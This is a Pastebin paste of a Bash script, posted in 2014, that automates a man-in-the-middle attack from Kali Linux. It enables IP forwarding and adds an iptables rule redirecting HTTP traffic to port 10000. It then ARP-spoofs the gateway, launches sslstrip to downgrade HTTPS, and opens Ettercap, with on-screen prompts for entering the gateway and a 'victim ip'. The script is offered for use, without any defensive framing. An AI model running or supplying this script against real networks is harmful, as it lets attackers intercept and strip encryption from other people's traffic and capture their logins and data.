Advertisement
atulh4c

MITM [automatic] kali linux script

Dec 18th, 2014
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.78 KB | None | 0 0
  1. #coded by atulh4c
  2. #automatic in kali linux
  3. #work in other distros by install kali linux tool
  4. #need to be in root-mode
  5.  
  6.  
  7. # Colors
  8. ESC_SEQ="\x1b["
  9. COL_RESET=$ESC_SEQ"39;49;00m"
  10. COL_RED=$ESC_SEQ"31;01m"
  11. COL_GREEN=$ESC_SEQ"32;01m"
  12. COL_YELLOW=$ESC_SEQ"33;01m"
  13. COL_BLUE=$ESC_SEQ"34;01m"
  14. COL_MAGENTA=$ESC_SEQ"35;01m"
  15. COL_CYAN=$ESC_SEQ"36;01m"
  16. echo ""
  17. echo ""
  18. echo -e "  $COL_RED           + ====================MITM=================+$COL_RESET"
  19. echo -e "  $COL_BLUE          +             Created by atulh4c           +$COL_RESET"
  20. echo -e "  $COL_RED           + =========================================+$COL_RESET"
  21. echo ""
  22. echo ""
  23.  
  24. echo -e "$COL_MAGENTA #MITM ATTACK USING SSLSTRIPPING AND ETTERCAP $COL_RESET"
  25. echo ""
  26. echo -e "$COL_YELLOW #Know your gateway ip"
  27. echo ""
  28. echo " #At Ettercap Select Unified Sniffing > Select Interface "
  29. echo -e " #scan for host > show host list > $COL_RED set gatewayip at targer 1 and victim ip in target 2 $COL_YELLOW"
  30. echo  -e " #Make sure you have edited $COL_CYAN /etc/ettercap/etter.conf (Remove # tag form commands below iptables)$COL_RESET"
  31. echo""
  32. echo -e "$COL_RED Press ENTER to continue $COL_RESET"
  33. read choice
  34. echo ""
  35. echo "Enter interface"
  36. read interface
  37. echo ""
  38. echo -e "$COL_MAGENTA Finding gateway ip"
  39. sleep 1
  40. echo ""
  41. route -n
  42. echo ""
  43. echo -e  "$COL_RESET Enter gateway ip"
  44. read gip
  45. echo ""
  46. echo "Doing ip forward"
  47. echo 1 > /proc/sys/net/ipv4/ip_forward
  48. echo ""
  49. echo "Setting up IP-Tables"
  50. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  51. echo ""
  52. echo "Arp spoof the AP"
  53. sleep 1
  54. gnome-terminal -e "arpspoof -i $interface $gip"
  55. sleep 2
  56. echo "Setting up SSLSTRIP"
  57. gnome-terminal -e "sslstrip -f -p -k 10000"
  58. sleep 2
  59. echo ""
  60. echo "Launching Ettercap Graphical"
  61. sleep 1
  62. ettercap -G
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement